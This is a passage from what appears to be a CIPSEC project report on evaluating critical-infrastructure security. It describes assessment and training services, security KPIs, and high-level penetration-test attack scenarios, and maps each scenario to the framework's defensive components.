**Comsec’s Vulnerability assessment service** is intended to be performed on the CIs. Comsec’s assessment consist of mapping the relevant threat, platforms and assets, reviewing the infrastructure architecture and configuration, performing application security testing, and delivering a detailed report of the findings. This service is followed by **Comsec’s recommendations service**, which consists of the recommended road-map to fix the found security issues.

**CIPSEC’s training service** will offer specialized training courses with a generalist view of the cybersecurity field, special focus on critical infrastructures and dedicated training for the CIPSEC framework. The training service will enable to train CIPSEC operators, SOC personnel and IRT personnel.

The **Forensics service** provided by AEGIS and supported by AEGIS Forensics Data Visualization Toolkit will support the incident response efforts.

Another related service is the **Contingency Plan service**, as mentioned also in the BCP category.

4.2.9.3 Security KPIs

1. Vulnerability assessments are performed for every major system or infrastructure, and recommendations are implemented according to an agreed upon timeline.
2. Security personnel (SOC, IRT, operators) are trained according to a profound training program.
3. IT and OT technicians are regularly educated about security awareness issues, and has close work interfaces with security department personnel.
4. Regular employees are periodically educated about security awareness issues.
5. Incident response procedures exist and include the use of cyber forensics.

4.2.10 Attack Scenarios

Not all security flaws can be found during a regular, predefined security assessment. In order to understand the overall security stance of the security, and to understand which security flaws may be exploited in order to harm the critical services, dedicated penetration tests should be performed. The penetration test will be comprised of several attack scenarios. Each scenario will simulate a different threat source, and thus will have different probability to occur. The tests will start with the reconnaissance phase to gather the needed information about the network, continue with enumeration of potential vulnerabilities, and rounded off with exploitation of the found misconfigurations and software vulnerabilities.

4.2.10.1 Evaluation activities

It should be noted that to avoid any disruptions to critical services, the penetration test will be performed in a passive manner (without actual exploitations), or on a testing environment. Further details regarding this methodology were presented in section 4.1.

The following major attack scenarios can be performed:

- **Attack of the critical infrastructure network by an employee (insider)**
  
  A penetration test designed to simulate a malicious activity of an employee that has legitimate access to the company’s network (e.g. a corporate workstation and a low privileged user). The attacker will attempt to harm the critical services or to reach confidential information by introducing malicious code, leveraging attack tools, harvesting privileged credentials and other methods.

- **Attack of the critical infrastructure network with remote connection permissions (remote insider)**
A penetration test designed to simulate a company employee or a subcontractor with remote access permissions to the organization's network, which attempts to perform illegitimate activities. Unlike the previous scenario, this scenario can be executed from anywhere, thus raising its probability.

- Attack of the critical infrastructure network by a visitor (local outsider)
  
  A penetration test designed to simulate the malicious activity of a visitor who is in the company's territory legitimately (for example, a maintenance team) or illegitimate (an unauthorized party), and attempts to penetrate the company's network in order to disrupt critical services or to leak sensitive information.

  During this test, the attacker may try to connect to a network communication port using his personal computer to bypass security mechanisms, sniff the network to detect sensitive data (such as user authentication data) and access sensitive information on the network. Alternatively, the attacker may try to access local wireless network (such as Wi-Fi), or even gain physical access to sensitive locations such as the data center or control rooms.

- Attack of the critical infrastructure network over the Internet (remote outsider)
  
  An infrastructure penetration test designed to detect known security weaknesses and faulty settings on public internet-facing interfaces that may allow unauthorized access to the corporate network or disruption of services activities.

  This test will usually contain the use of automatic scanning tools (such as Nessus, NMAP, Metasploit and others) to identify known security threats, open ports and misconfiguration, followed by automatic and manual attempts to exploit weaknesses that were found to obtain unauthorized access to the network.

- Attack of the organization's website and other public services by a malicious party on the Internet
  
  An application penetration test designed to simulate an attacker on the internet, attempting to exploit weaknesses in the organization's web site to gain access to sensitive information or to disrupt its service. The attacker can attempt to carry out attacks such as XSS, SQL Injection, CSRF, etc. to circumvent the site's restrictions and access unauthorized information.

4.2.10.2 CIPSEC solutions

All of the CIPSEC framework components can support with mitigation of the above attack scenarios, in one way or another. Some of the components are designed to specifically address a certain scenario, while others are general and are not designed as a specific solution to an attack scenario.

Forth’s Honeypot solution can deceive the tester into attacking the honeypot, which will lead to detection and mitigation. Most notably, network scans are expected to be detected by the honeypot solution.

XL-SIEM can provide a quick detection of many of the potential attacks. The malicious activity may even be detected during the initial reconnaissance phase (e.g. detecting network scans by analyzing IDS logs).

WOS' DoSSensing can provide effective mitigation for the visitor attack scenario. A visitor that is exposed to a critical wireless network and attempts to maliciously jam it should be detected by the tool.

UPC’s Data Privacy Tool will prevent the attacker to be exposed to highly confidential information, such as PII (Personally Identifiable Information).

UoP’s HSM may prevent the attacker from bypassing encryption mechanisms, by storing and managing private keys in a secure and non-exportable way.

Secocard can prevent credential theft attacks. For example, a low-privileged employee will not be able to harvest the credentials (password) of a higher-privileged employee that uses Secocard for authentication. This device is expected to mainly mitigate the insider and visitor attack scenarios.

Bitdefender is expected to detect any malicious software that the attacker may attempt to trigger. It should be also noted that the ability of the product to detect malware according to behavioral analysis is expected to allow the detection of modified viruses, which is a common method of evading detection that many attacker use.

AEGIS’ Forensics Visualization Tool is expected to enable the incident response team to analyze the ongoing attack and to identify root causes.
4.2.10.3 Security KPIs

1. No critical findings were noted during the attack scenarios.
2. No high findings were noted during the attack scenarios.
3. The estimated feasibility of maliciously disrupting a critical service by an insider is low.
4. The estimated feasibility of maliciously disrupting a critical service by a remote insider is very low.
5. The estimated feasibility of maliciously disrupting a critical service by a visitor is very low.
6. The estimated feasibility of maliciously disrupting a critical service over the internet is extremely low.
5 Conclusions

In conclusion, we can observe that performing a security evaluation is a complex and comprehensive process. It seems that most of the tests can be carried out by performing staff interviews, but certain tests, especially those which relate to critical and feasible threats, should be executed by a technical examination. It is essential to avoid any risk of disrupting a critical business process when performing such tests, therefore the evaluation must be performed in a testing environment or in a passive manner, such as a configuration review.

Another conclusion that emerges from the evaluation process is that CIPSEC solutions are indeed designed in a way that provides a certain response for all the evaluation categories, except for physical security. This will be validated through pre-installation evaluation and subsequent post-installation assessment. The amount and the severity of the findings are expected to decrease, and the difference can be also identified by using KPIs. With that said, analysis of the evaluation activities shows that even after implementation of the CIPSEC solution, the organization will need to address additional security gaps through alternative solutions.

With regard to the realization of the prototype, it can be concluded that at this stage most CIPSEC products can be demonstrated using a virtual prototype. The implementation of the prototype currently takes place and will end by the end of M32.

The evolution of the prototype will require to produce a physical prototype to incorporate physical components such as Secocard smart card and HSM.